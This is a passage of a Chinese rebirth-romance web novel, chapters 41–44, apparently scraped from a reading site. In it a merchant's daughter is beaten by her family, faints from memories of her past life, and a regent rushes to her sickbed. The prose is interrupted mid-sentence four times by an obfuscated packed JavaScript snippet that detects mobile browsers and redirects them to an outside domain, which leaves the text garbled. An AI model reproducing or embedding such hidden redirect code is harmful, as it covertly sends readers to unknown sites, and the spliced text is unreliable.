此刻他脸上的表情简直称得上狰狞，“好，我就当那些钱是你自己攒的。现在我问你，你买那么多的屋契干什么？” 沐毓露擦了一把唇畔的鲜血，“那些屋子又破又老，所以卖得很便宜，我只是想置办一些房产，给自己添些嫁妆而已。” 沐玉罡发出一声冷笑：“你是不是当老子是傻的？那些破房子买了就是赔钱货，你还要拿它们当嫁妆？你钱多得没地方花了？” 他一巴掌扇在沐毓露的脸上，“你当你爹你娘是死的？用得着你自己给自己置办嫁妆？难道这些事情我们不会替你操心吗？” 沐毓露又不说话了。 沐玉罡也发现了，她只会在需要回答问题的时候胡乱编造一个答案，其余的时候是一声也不想吭，摆明了放弃抵抗却又什么都不想告诉他。 他喘了口气，点了点头，后退几步坐到了椅子上，“行，你什么都不想说，那我们就这样耗着。” “今天所有人都别想走，也别吃饭了，大家就在这里陪你一起耗着。你什么时候跟我说实话，他们就什么时候去吃饭。” 沐毓露麻木地跪在冰凉的地上，抬起头望了他一眼，然后又冷冷地将目光垂下。 她这个态度显然又激怒了沐玉罡，他才喘过一口气来，见沐毓露这样一副油盐不进的样子，顿时又火上心头。 他指着沐毓露的鼻子痛骂：“我沐玉罡一世英名，怎么就生出你这么个不要脸的女儿来？你怎么就这么自私？所有的人和你一起在这里罚站，你一点都不为所动么？是不是非要饿死几个人你才满意？” 沐毓露仍旧不说话。 这回却是沐昭氏忍不住了，她冲过来狠狠拧了沐毓露几下，“你这个不孝女，你非要把你爹气死才开心是不是？好好交代清楚买铺子的钱是从哪里来的，你买那么多的铺子到底想要干什么，不就完了么？非要在这里跟你爹犟！” 沐毓露的声音听起来很虚弱：“我说了，钱是我自己攒的，买那些铺子是想给自己添一点嫁妆。” 然而她的虚弱并没有换来沐昭氏的半分怜悯，她又抬手拧了她几下，“你还不肯跟我们说实话！我告诉你吧，你妹妹早就发现你不对劲了，这段时间你总是偷偷溜出府，还很防备地绕路，生怕别人跟踪你，你到底出去干什么去了？” 沐毓露这才知道，原来自己早就被沐晚意盯上了，既然她早就盯上了她，那么今日也绝不会是她第一次来翻自己的屋子。 只不过此前每次沐毓露偷溜出府的时候都带着心云一起，那时候默合还没有来她身边伺候，所以沐晚意趁她出府翻找她的院子时，院中空无一人。 许是沐晚意看出沐毓露有秘密在身，但在屋子里翻找了好几次都没有找到线索，所以才会把注意力放到了庭院里尚未被搜寻过的地方去。 沐毓露终于明白，今天这场祸事根本就避无可避，即便她今天早上不顶撞沐昭氏，沐晚意也会向沐玉罡揭发她的。 她抬眼向沐晚意望去，对方却有些心虚地别过了脸。 沐昭氏回身挡在沐晚意跟前，“你这么盯着你妹妹做什么？因为她揭发了你，所以你心里怨恨，想要报复她是不是？” 沐毓露冷冷地笑了一下，她依然忍耐地将所有的话都咽了回去。 沐玉罡在这时再次站起身来，“她这个不孝女，她还想报复谁？” 他叹了一口气，一副对沐毓露分外失望的样子：“你身为我沐玉罡的嫡长女，上不能照顾父母，下不能教导妹妹，一天到晚在外面跟人鬼混，丢尽我的脸面，我没将你打死都算是我仁慈，你偏偏还变本加厉。” 他越说越是动情，说到后面甚至还流下了几滴眼泪，“也不知道我上辈子到底是造了什么孽，想我沐玉罡在生意场上也是说一不二的枭雄，怎么就生出你这么个无才无德的女儿？” 他将手一挥，示意屋内的小厮们将心云拖下去，“以前我就是太娇纵你了，纵得你不知天高地厚，以为犯了错不用承担后果。今天我就要教你一课，让你知道做错了事情是要受到惩罚的。” “来人啊，把心云和默合拖下去打死，今天我就要让她好好长长记性。” 沐毓露在这时晃晃悠悠地站起身来，她行至心云身侧，一把拽住她的胳膊，“行，那就打死吧，连我也一起打死，这样你们就满意了。” 沐玉罡气得抓起桌上的水杯作势要砸，“你以为老子不敢打死你是不是？” “你当然敢，你不是老说在沐府你就是我们的皇帝么，你还有什么不敢的？”沐毓露望着他笑：“对了，你还老说身体发肤受之父母，我的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361960|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切都是你们给的，你当然可以收回去。” 她笑嘻嘻地将头转向沐昭氏，“娘，我是你生的，你现在就来打死我，我绝不还手，我把这条命还给你，好不好？” 她这番话将沐玉罡夫妇刺激得够呛，沐玉罡脱手就将杯子掷了出去，直直地砸在沐毓露的脑门上，“来人！给我拿把刀来，我现在就剁了这个不孝女！” 沐昭氏则再次冲到沐毓露的面前，也顾不得什么形象了，对着她就是拳打脚踢，同时还尖声地哭泣：“你怎么是这个样子？我怎么就生出你这么个女儿来？生你的时候要是知道你是这副德行，我当初就应该把你塞回肚子里！” 沐毓露倒也的确打不还手骂不还口，她就这么站在原地，忍受着沐玉罡的怒骂，任由沐昭氏对她拳打脚踢。 她的额头此刻正汩汩地流出血来，被沐玉罡用杯子砸过的地方传来一阵一阵的剧痛，这种剧痛反而刺激了她，让她莫名兴奋起来。 在见到下人拿过来一把刀的时候，她猛然冲了过去，一把将刀夺下。 她的动作实在太快，手上的力气也出奇的大，整个人就如一头被逼至绝境的猛兽，吓得那小厮瞬间就松了手。 沐昭氏也被吓得连连后退，就连沐玉罡也没办法强装镇定，瞬间变了脸色。 连他自己都没有发现，在见到沐毓露夺下刀的那一刻，他的声音都有些颤抖：“你要干什么？你还要弑父杀母是不是？你赶快给我把刀放下！” 沐毓露拎着刀走近沐玉罡，此刻她满头满脸满身都是血，给人的视觉冲击实在太大，沐玉罡反而被她吓得愣在了原地。 沐毓露随手抹了一把脸上仍在不断往下滴落的鲜血，举起刀指向沐晚意。 在她用刀指着沐晚意的一瞬间，沐昭氏便下意识护住了她的宝贝女儿。 沐毓露发出一声冷笑，她对沐晚意道：“你是既得利益者，明白吗？” 沐晚意也被吓得呆住了，一动不动地站在原地。 沐毓露叹了口气：“在我们两个之间，你是被偏爱的那一个，所以你知不知道，你看到了我应该绕着我走，因为你得到的比我多，你才应该是害怕失去的那一个。” 她突然拔高了声音：“我从来没有得到过你得到的东西，所以我根本不怕失去，真把我逼急了，我随时可以拿这一条命跟你拼，但是你舍得你的这条小命吗？” 沐晚意显然什么也没有听进去，她只是被沐毓露吓到了，缩在沐昭氏的怀里嘤嘤地哭了起来。 沐毓露又将刀指向沐玉罡，“其实我很不明白，我不就是买了一些铺子吗？又没有花你的银子？你到底为什么那么大火气？就好像我干了什么十恶不赦的事情一样？” 她离沐玉罡更近了些，吓得他一哆嗦，“不过刚才我突然就想明白了，你不是在气我瞒着你买了铺子，你是因为我脱离了你的掌控而生气。” 她突然笑了起来，举起刀在空中乱舞。 看得出来她真的很想朝着沐玉罡的面门一刀劈下去，但是残存的理智让她将刀一偏，锋利的刀刃划向了半空中。 42. 第42章 她状似癫狂地笑着：“你们总说我自私，可是我就没见过比你们更自私的人，我跟你们比起来算什么呀？” 她疯起来甚至敢直呼沐玉罡的名字：“别再说什么为我好，对我失望的话了，你自己最清楚你到底是不是为我好，其实你根本就对一切都心知肚明。” “一个个都装什么呢？你们不就是想逼死我么，那我就如你们的愿吊死在沐府大门口，不过就算是死我也要带走几个人。” 她再次望向沐晚意，冷笑着对她道：“现在让我好好想一想，走之前先带走谁比较好？” 沐晚意显然被吓坏了，哭得更加大声，甚至转过身想要逃跑，沐昭氏紧紧地搂住她，抬起头瞪着沐毓露：“疯了，你真的是疯了。” 沐玉罡此刻终于恢复了一点勇气，他愤怒地对风问棠等人吼道：“养你们是吃干饭的？还在这里看热闹？还不赶紧把她拿下！” 风问棠趁此时上前一步，对沐毓露道：“你冷静一点，先把刀放下，我送你回去。” 沐玉罡躲在几个护院身后，终于缓过了神来，又恢复了方才那不可一世的气势，“还送她回哪里去？直接把她捆了押去祠堂。明儿个我就把她送到京郊的庄子去，好好治一治她的疯病！” 沐毓露身上伤势不轻，加上失血不少，此刻已有些头晕目眩，但是在听见沐玉罡对她的安排后仍旧心头一动，脑子飞快地思考起来。 被送到京郊的庄子对她来说也许并非一件坏事，那里离沐府较远，不管是沐晚意还是王姨娘院子里的人，她们就算手再长也伸不到那里去，她行动起来或许反而比较自由。 丢了这些屋契也没关系，只要她能离开沐府，就还有重新来过的机会。 大不了冒着风险再给人算几次命，把第一桶金再赚回来就是，总比继续被困在沐府，一言一行都被人监视的好。 想到这里她在心里松了口气，察觉到这反而有可能是一场机遇后，她不再反抗，自己松开手把刀扔到了地上。 风问棠抓住机会劝沐玉罡：“还是先让小姐回屋休息吧，她实在伤得不轻，若是小姐在府里出了什么意外，回头三州堇璱来寻她，我们也不好交代。” 实在是形势所逼，他不得已搬出了三州堇璱来。 沐玉罡稍微权衡了一下利弊，觉得他说的颇有些道理，也就不再坚持，摆摆手让风问棠赶紧送沐毓露回去。 经过心云身边时，沐毓露不动声色地将她捞了起来，示意她随自己一起回去。 心云连忙爬起来，低着脑袋跟在沐毓露和风问棠的身后，随他们一起出了屋子。 方才的场面实在是太过混乱，也委实有些惊悚，直到沐毓露把刀哐当一声扔在地上，厅中的人才稍稍缓过神来。 沐昭氏急着安慰沐晚意，生怕方才那一幕给她幼小的心灵留下什么阴影，沐玉罡则有些惊魂未定地坐回了椅子上，伸手在空荡荡的桌面上摸索着，想要喝一口热茶水。 也就没有人注意到心云悄没声息地跟着沐毓露走了，在经过院中那棵倒吊着默合的那棵树时，风问棠还顺手拔剑斩断了绳索，将默合放了下来。 默合早在之前便被沐晚意带来的小厮们打了一顿，又被沐玉罡在树上倒吊了这么久，此刻已经虚弱至极，脸色比沐毓露看起来还要苍白。 心云和沐毓露连忙伸手搀扶住她，主仆三人就这样深一脚浅一脚地走回了院子里。 方才在众目睽睽之下风问棠不好过分表现出对沐毓露的关心，此刻回到院子里，他才终于长长地松了口气，皱眉对沐毓露道：“你们先换身衣服，把身上的血擦一下，我这就去请大夫。” 沐毓露点了点头，向他道了声谢，让心云先把默合扶进屋子里。 风问棠欲言又止地注视着她，眼中流露出不忍之意，看得出来他很想再说些什么，却始终犹豫着不敢开口。 沐毓露却不想看到他这副样子，直接开口说道：“我知道你想说什么，方才不说出你，就是不想让你也牵连进这件事情里。” 风问棠上前一步：“可你之前也说过，你拿我当朋友，朋友之间不就应该共同承担么，哪有什么牵连不牵连？还是说其实你根本没有真的拿我当朋友？” 沐毓露摇了摇头：“我就是因为真的拿你当自己人，才不想让你卷入其中。何况这件事情我自己能应付，若是说出你来，不仅会让你无端受到牵连，还会让事情变得更加麻烦。” 风问棠不说话了。 经此一事，他才知道眼前这个看似柔弱的女子到底有多固执，她像是花圃里最娇艳的那一朵花儿，却并不脆弱，反而比他想象中要顽强得多。 沉默了一会儿，他缓和了语气，让沐毓露赶紧进屋休息，自己则转身离开，给屋子里的三个病号请大夫去。 他想今天沐府里闹了这么一场，大家都疲惫得很了，应当不会再发生什么事，所以才这么放心地走了。 然而没想到他前脚刚刚踏出院子，后脚沐毓露的房间里便传出来一声撕心裂肺的惨叫。 心云原本在照顾默合，听见沐毓露的惨叫声后夺门而出，冲进沐毓露的房间。 刚冲进房间便看见沐毓露软软地坐在梳妆台前，白眼一翻晕了过去。 心云连忙将她扶到床上，一时间却是没了主意，不知道该如何是好。 风问棠才走不久，这一时半会儿怕是回不来，默合现在也发着高烧不省人事，小姐身边又离不得人，她便只能守在沐毓露的床前干着急。 沐毓露方才的叫声可谓中气十足，就连院子外面过路的丫鬟小厮都听见了她那声凄厉的尖叫，一个个凑过来交头接耳地看热闹。 于是很快便传出谣言，说沐毓露回到房间拿起镜子一照，看见自己被砸得开了花的额头后当场被吓得晕了过去。 这已经算是传得好听的了，还有人说她平日里自诩美貌，如今被砸得破了相，顿时承受不住失心疯了。 总之说什么的都有，但旁人的种种猜测自然都不作数，只有沐毓露自己清楚到底发生了什么。 她的确是在照镜子的时候被吓晕的，但并不是被自己开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361961|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花的额头吓晕的。 归根结底她的恐惧还是来源于穆衾寒。 方才照镜子时，虽然那满头满脸的血看起来有些骇人，但已经死过一回的她心理素质过硬，并没有被那些血吓到。真正令她感到惊悚的是额头那道伤痕竟然与前世穆衾寒用杯子将她砸伤的伤口一模一样。 沐毓露就是被这个巧合吓得晕了过去。 前世穆衾寒之所以用杯子砸她，是因为她在给柳闻霜请安敬茶的时候盯着对方隆起的肚子出了神，手一抖不小心将茶水泼到了柳闻霜的身上。 这原本是一件小事，然而她没有想到柳闻霜会被那一盏茶水吓得心悸不止，最后居然因此小产。 穆衾寒自然是发了好大的火，恨不得将沐毓露扒皮抽筋，沐毓露只知道穆衾寒是旁人口中的冰山王爷，却不知道他还有修罗阎王的一面，见到如此震怒的穆衾寒，她一时有些傻了眼。 因此穆衾寒一怒之下将桌案上的茶盏掷过来的时候，她傻傻地跪在原地没有躲。 然后额头就被迎面而来的杯子砸开了花。 这已经是上一世的回忆了，然而此刻沐毓露坐在镜子跟前，看着额头上那道鲜血淋漓的伤口，发现无论从哪个角度看，这个伤口的长度与深浅都与前世的那一道一模一样。 脑袋开始剧烈地疼痛起来，太阳穴一抽一抽的，像是有什么东西在她的脑子里钻过来钻过去，好像要将她的脑髓都抽出来，将她的灵魂都剥离。 上一世噩梦般的记忆在脑海里纷至沓来。 她不禁又产生了怀疑，难道根本就没有重生这回事，她不过是做了一个漫长的梦，她悲惨的命运其实还在继续。 否则怎么解释额头上这道与前世一模一样的伤口？她一定是被穆衾寒给砸糊涂了，才会生出类似于重生的不切实际的幻想。 她还是穆王府的侍妾，其实她根本就没有得到解脱。 想到这里沐毓露捂着脸发出一声歇斯底里的惨叫，然后在梳妆台前晕了过去，心云匆匆赶来时看见的便是这一幕。 令心云感到忧心的是，沐毓露刚躺到床上就发起了高烧，一边发烧还一边说着胡话。 她又开始一声声地呼唤穆衾寒的名字了。 只不过这一次呼唤穆衾寒的名字时她的声音不再如之前那般缱绻留恋，反而像是充满了恐惧，像是从骨子里害怕他一样。 心云摸不着头脑，只能一遍又一遍地用凉水浸泡毛巾，然后敷在她的额头给她降温。 好在没过多久风问棠便带着大夫回来了。 给沐毓露把完脉之后，大夫捋着胡子奇怪地道：“小姐所受的都是外伤，好好用药包扎几日即可。但是……” 他并没有立时说出结论，而是谨慎地再次将手覆上她的手腕，重新把起脉来。 他这举动将心云和风问棠吓得不轻，两人同时问道：“除了外伤之外，小姐可还有什么不妥？” 大夫犹豫了半天才道：“心悸受惊，心脉受损，她现在全靠一口气吊着，再这样下去只怕是命不久矣啊。” 43. 第43章 不是只有一些外伤么？怎么就心脉受损命不久矣了？ 风问棠尝试让自己冷静下来，攥住大夫的胳膊问道：“她方才受了很大的惊吓，是不是因为这个才心脉受损的？” 心云抓住大夫的另一条胳膊：“心脉受损是什么意思？您有没有什么办法可以帮帮我家小姐？” 大夫先将胳膊从心云手里抽出来：“医家所言心脉受损，其实也就是常人所说的精气神儿散了。你们想啊，一个人若是精气神儿都散掉了，那光是活着光是呼吸就已经累得够呛了。” “何况她现在又受了伤，又发着高烧，哪里还有力气去恢复身体。心脉受损之人，哪怕是一场风寒都有可能要了他们的性命。” 说着他又将另一只胳膊从风问棠的手里抽出来：“一般来说一场大惊吓并不足以令人心脉受损，人往往只有长期处于一个极为悲伤极为恐惧的环境里才会如此啊。” “这种病其实算是心病，寻常的药石是无用的，只有她自己解开了心结，才能度过这道难关。” 风问棠思索了一下：“倘若不是因为方才的那场惊吓，那么还有什么令她感到恐惧的人或者事成为了她的心结？如果我们连她的心结到底是什么都不知道，又该如何帮她解开心结？” 大夫一脸茫然：“我不知道，你别问我，我是看病的不是算命的。” 风问棠转头看着心云：“我是在问你，你与她朝夕相处，她到底经历了什么事情才会惊恐悲伤到心脉受损？” 心云在惊慌之下只觉得脑子里都是一团浆糊，什么也想不到。 便在众人焦急之际，床上的沐毓露又开始说胡话了：“我知道我的手段不光彩，我不是个好人，但我真的不是存心害她流产的……” 心云脸色变了，听到沐毓露这样说，她突然想起一些事情。 小姐是在前次上吊未遂之后性情大变的。 自那以后她便经常生病，每次生病必发高烧，每次发烧必说胡话。 起先她还不明白小姐都在说些什么，以为她只是在高热之下说着一些毫无逻辑的胡话，后来听的次数多了，她慢慢发现小姐说的这些胡话居然是有逻辑的。 也不知道她是不是在病中做了噩梦，梦中的她是一个满腹心机天生恶毒的人，因为做了一些不好的事情而受到了惩罚。 如今看来，会不会就是梦里的那些惩罚让她惊惧过度心脉受损？ 沐毓露说着说着突然哭了起来：“求求你休了我吧，休了我好不好？我不要嫁给你了，我真的不要嫁给你了……” 风问棠听到这里脸色也变了，他再次一把抓住正在偷偷收拾药箱准备溜走的大夫：“有没有什么办法能够让她暂时冷静下来？再这样下去她如何撑得住？” “再这样下去她的确是撑不住呀，我最多只能给她开一些退烧的药。”大夫努力地想要挣脱风问棠的束缚：“我说了她这是心病，给她开什么药都没用，她这个情况你敢让她睡过去不？” 大夫将手一摊：“她现在就全靠这一口气吊着，真让她睡过去了，恐怕就起不来了，你们也可以准备后事了！” 心云在这时有些不确定地道：“我好像知道小姐的心结是谁了。” 不待风问棠发问，她望了一眼蓬头垢面躺在床上，憔悴得不似人样的沐毓露，咬了咬牙转身跑出房间：“风护院，劳烦你照看小姐，我去穆王府请人。” 话音还没落地她就跑得不见了踪影，风问棠想要追上去问个究竟，无奈沐毓露身边确实离不得人，他只好一头雾水地留在原地。 心云气喘吁吁地跑到王府跟前，却被门口的守卫告知王爷今天一早就出了门，此刻并不在府中。 她有些脱力地跪倒在地，打算蹲守在门口等着王爷回来，却被那些守卫扔下了台阶。 他们语气森严：“此乃摄政王府，闲杂人等不得逗留。” 心云连忙解释：“我不是闲杂人等，我是沐府的丫鬟，我家小姐生病了，想要王爷去看一看。” 侍卫首领皱紧了眉：“我再说一遍，这里是摄政王府，不是什么人都能进去的。即便今日王爷就在府中，你也没资格进去见他。” 心云着急地道：“我真的是有要事求见！王爷与我家小姐是相识的，我家小姐病重，现在性命垂危，她真的只是想见王爷一面而已。” 她鼓起勇气再次走上台阶，握住那侍卫首领的胳膊道：“求求你了侍卫大哥，你就让我在这里等王爷回来吧。见到王爷之后是打是罚我都认了，我求求你了。” 她的恳求自然是没有用的，那侍卫将胳膊一抬，再次把她扔了下去：“我警告你，你要是再在王府门口胡搅蛮缠，我们是可以直接抓你下大狱的。看你是个弱女子，我放你一马，赶紧滚吧！” 心云咬牙站在原地，说什么也不肯走。 那几个侍卫见她如此倔强，互相对视了一眼后持着手中长刀朝她走了过来。 心云戒备地往后退：“你们要干什么？真的要把我下大狱么？我没有骗你们，我家小姐真的与王爷相识，她真的性命垂危快要死了，求求你们就让我见王爷一面吧。” 他们只当她是一个胡搅蛮缠的刁民，哪里肯听她说这些，一人架着她的一个胳膊，拖着她就要走。 心云知道自己若是真的被下大狱了，那就什么都来不及了，这些侍卫肯定不会将今天的这桩小事特意告知王爷，穆衾寒可能永远都不会知道她曾经来找过他。 若是如此，还有谁能够救沐毓露？ 不，她绝不能被带走。 她咬紧了牙关，用双脚死死抵住地面，说什么也不肯离开。 不知道是不是连老天爷也在同情她，方才还艳阳高照的天空，此刻突然笼罩上了一层乌云，紧接着落下了几滴雨。 眼看着雨势越来越大，那些侍卫也逐渐没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361962|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耐心，其中一个人一脚踹在了她的腿上：“你若是还不肯离开，我们是可以对你用刑的，不要逼我们打断了你的腿再把你扔到牢里去。” 心云吃痛地跪倒在地，却还是拼尽了浑身的力气死守在王府门口：“我不走，你们今天就算是把我打死在王府门口我也不会走！” 便在这一片混乱之际，一队宫人缓缓自长街尽头走来，为首的嬷嬷看见王府跟前这一场闹剧，深深地将眉头皱起：“混账东西，敢在摄政王府胡闹？” 她年事已高，看起来却颇有威严，冰冷的目光在心云身上一扫，然后移到了那些侍卫身上：“你们是怎么当差的？王爷才拜见过太皇太后，马上就要回来了，还不赶紧在他回来之前把这个刁民处理掉？” 这个嬷嬷是伺候太皇太后的老人了，穆衾寒自幼丧母，从小养在太皇太后身边，因此他虽非嫡出，在宫中的地位却也仅次于当年的太子。 今日他入宫问疾，服侍太皇太后用药，老人家心里高兴，赏了他许多的珍宝，特令身边的嬷嬷领着宫人将这些珍宝亲自送往王府。 如今嬷嬷已经到了，想必穆衾寒也已经侍奉太皇太后用完药，正在回府的路上了。 想到这一点心云顿时觉得有了希望，她连忙扬声道：“回禀嬷嬷，我是沐府的丫鬟，我家小姐与王爷是旧相识，我是来求见王爷的！” 那嬷嬷一听，原本便紧皱着的眉头瞬间皱得更紧了：“什么沐府，什么小姐，听也没听说过。” 她冲身后的宫人们挥了挥手，示意他们先将太皇太后的赏赐送进王府，然后对那些侍卫呵道：“还不赶紧把她处理掉，等着她在这里大喊大叫，污蔑王爷清誉么？” 宫里出来的人就是不一样，侍卫们自然明白嬷嬷所说的把她处理掉是什么意思。 不是把她赶走，也不是让她下狱，而是要他们直接把她拖到一个没人的地方打死了事。 此时雨下得越发大了，那侍卫首领狠狠地踹了心云一脚，这一脚他是使了力气的，直接踢断了心云的骨头，逼得她趴倒在地。 他朝另外的几个侍卫招了招手：“先把她拖进王府，寻一个没人的偏院处理掉，别让她继续在门口招摇了。” 那嬷嬷居高临下地望了心云一眼，不再多说什么，抬步走进了王府。 雨水顺着心云散乱的鬓发淌下，混着额角磕破渗出的血，滴滴答答地砸在积水的石面。 她的声音变得嘶哑，却不再如方才那般卑微，而是带着出离的愤怒：“你们可以杀了我，但若是因此让王爷见不到小姐最后一面，他一定会杀了你们的。” 其中一个侍卫被她这番话激怒了，一脚踹向她单薄的肩膀，直接将她踹得翻倒在了雨地里：“你竟然还敢在这里口出狂言，搅扰王府清净？” 便在这时，一辆挂着玄色锦帷，悬着王府徽记的华盖马车碾碎雨幕辚辚而至，稳稳地停在了府门高阶之下。 44. 第44章 马车里的穆衾寒正在闭目养神，这几日朝中事务颇多，他要与多方势力斡旋，此刻终于离宫，实在是倦怠得很了。 听见帘外的哭嚎叱骂声后他蹙了蹙眉，“外面在吵什么？” 随行之人立马在车外回道：“似乎是有人在王府跟前喧闹，侍卫们正在驱逐。” 穆衾寒没有睁眼，抬起手用指腹轻轻按压着眉心，“让今日领班的侍卫过来回话。” 随从应了一声，没过多久马车外便传来那侍卫首领恭谨的声音：“回王爷的话，有一疯妇在王府门口闹事，我等正在驱逐。” 穆衾寒闻言倒也没有在意，只是随口问了一句：“哪里来的疯妇？她想要做什么？” 那侍卫首领似是没想到王爷竟然有耐心详细问这些，支支吾吾的说不出一句完整话来。 穆衾寒身边的随侍之人立马喝道：“在王爷跟前要大声回话，莫要吞吞吐吐！” 那侍卫不敢再隐瞒，立马回答道：“那姑娘说……说她是沐府的丫鬟，她家的小姐想要见王爷一面。因为此前从未见过什么沐府的小姐来寻王爷，所以我们将她拦在了外面……” 他的话还没有说完，穆衾寒便又皱了皱原本便紧蹙着的眉，然后睁开双眼，一把掀开车帘。 车外冰冷的雨丝夹杂着风扑面而来，他的目光穿透雨幕，落在了那个蜷缩在泥泞中的身影之上。 在确认那道身影的确就是心云的时候，他眸中的倦怠尽数退却，转而多了一些惊疑与恼怒。 马车外的侍卫在这时也抬起了头，窥见穆衾寒的表情后他的心猛然往下一沉，然后再次绝望地低下了头。 完了，看这个样子方才那丫头说的八成是真的。 注意到这边的动静，心云也转头往马车的方向望来，然后她便看见了坐在马车里的穆衾寒。 一时间悲喜交加，她喉头一哽，不知道从哪里生出来的力气，支撑着她挣扎着朝马车的方向爬去：“王爷，王爷……王爷救命，我家小姐她不行了，她快要死了……” 后面的话被剧烈的咳嗽和哽咽声堵住，她抬起头，只用一双泪眼哀求地望着不远处的穆衾寒。 “你说什么？”穆衾寒的声音微微一颤，此刻他也顾不得细问些什么，只吩咐随行的侍卫扶她上车：“赶紧扶她上车，立刻去沐府。” 侍卫不敢耽搁，三步并作两步走到心云面前，迅速地将颤抖不止的心云搀扶起来，半扶半抱着送入温暖干燥的车厢。 穆衾寒不顾车辕湿滑，亲自探身伸手，将心云接了进来。 车内熏着清冽的沉水香，与车外的凄风苦雨恍如两个世界。 穆衾寒解下自己身上的那件玄狐大氅，裹住了心云冰冷湿透的身子。 “好了，现在跟我说说吧。”穆衾寒的声音仍旧沉静，却始终带着一丝连他自己都没有察觉到的颤抖：“到底怎么回事？” 车外的随从在这时放下了帘子，驾驶着马车迅速地往沐府的方向而去。 沉重的车轮碾过积水，发出沉闷而急促的滚动声，马车以极快的速度冲入雨幕笼罩的街道，溅起一片迷蒙的水雾。 方才还准备捉拿心云的守卫们此刻在王府跟前跪倒一片，虽然马车已经走远，但是方才马车里穆衾寒解下大氅披在心云身上的那一幕他们可是看得真真切切。 马车里的心云裹在带着清冽气息的狐皮氅衣里，暖意稍复，心头的悲苦却更甚。 方才她已经将事情的来龙去脉告知了穆衾寒，此刻穆衾寒正靠在车壁上，重新闭上了眼睛。 他不知在想些什么，眉峰紧紧锁着，薄唇也抿成了一条冷硬的直线。 车厢里沉水香的清冽香气和心云身上浓得化不开的阴霾交织在一起，压得人快要喘不过气，时间在这一刻变得无比漫长。 终于，车外随从手中的长鞭在空中炸开一声巨响，马车陡然停下：“禀王爷，我们到沐府了！” 穆衾寒睁开双眼，掀开车帘走下马车，没有撑伞便直接闯进了雨里。 马车还没有赶到沐府的时候便已有随从前去叩门，沐府上下早已得知王爷驾临，沐玉罡匆匆忙忙领着一家老小守在门口跪迎穆衾寒。 “不知王爷驾临，草民有失远迎，还请王爷恕罪。”沐玉罡跪在地上垂着脑袋请罪。然而穆衾寒步履未停，看都未看他一眼，直接便往后院走去。 沐玉罡连忙爬起来跟上：“王爷，不知王爷来沐府有何贵干？” 穆衾寒的随从瞪了他一眼：“王爷要去见你们大小姐，还不赶快带路，在这里聒噪什么？” 沐玉罡顿时瞠目结舌，脑子里瞬间转过八百个弯，很快他就反应了过来，怕不是他前脚刚打了沐毓露，后脚就有人跑到穆王府告状去了。 他自然是对告状之人恨得牙痒痒，但此刻不是追究的时候，他只能恭恭敬敬地给穆衾寒带路。 终于行至沐毓露所在的院落，沐玉罡鼓起勇气，想试试还能不能拦住穆衾寒。 他是真的不敢让他见到沐毓露现在的这副鬼样子。 “王爷，小女前段时间感染了风寒，现在正在将养。”他抬手扶住门框，尝试拦住穆衾寒的去路，“这风寒是会传染的，王爷还是改日再来吧。” 穆衾寒早知道沐玉罡会编理由拦他，压根没有管沐玉罡说了些什么，直接抬脚踹开了大门。 门扇猛地撞向两侧墙壁，发出哐当一声巨响，震得梁上的积尘簌簌而落，把沐玉罡吓得连连后退。 穆衾寒大步踏入，玄色的衣袍在他身后卷起一片肃杀的阴影，颇有些神挡杀神的气势。 沐玉罡也只好硬着头皮哆哆嗦嗦地跟了上去。 在屋内守着沐毓露的风问棠闻声而起，见到穆衾寒后他往旁边一闪，将床榻前的位置让了出来。 穆衾寒行至床前，看见的便是额上仍有血渍，面色苍白得毫无人色的沐毓露。 被下的那具瘦削身子几乎寻不着起伏，她整个人憔悴得如同一张被揉皱丢弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361963|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的素绢。 恍惚之间穆衾寒甚至以为她已经没有了呼吸。 他的脚步微不可察地一顿，不知道是不可置信，还是不敢靠近这样的沐毓露。下一秒他将视线缓缓抬起，钉在了几步之外僵如木偶的沐玉罡身上。 沐玉罡早已经吓得面无人色，从听到方才那一脚惊天动地的踹门声起，他整个人就像被抽掉了骨头般软在了原地，冷汗涔涔冒出，滴落在他的前襟上。 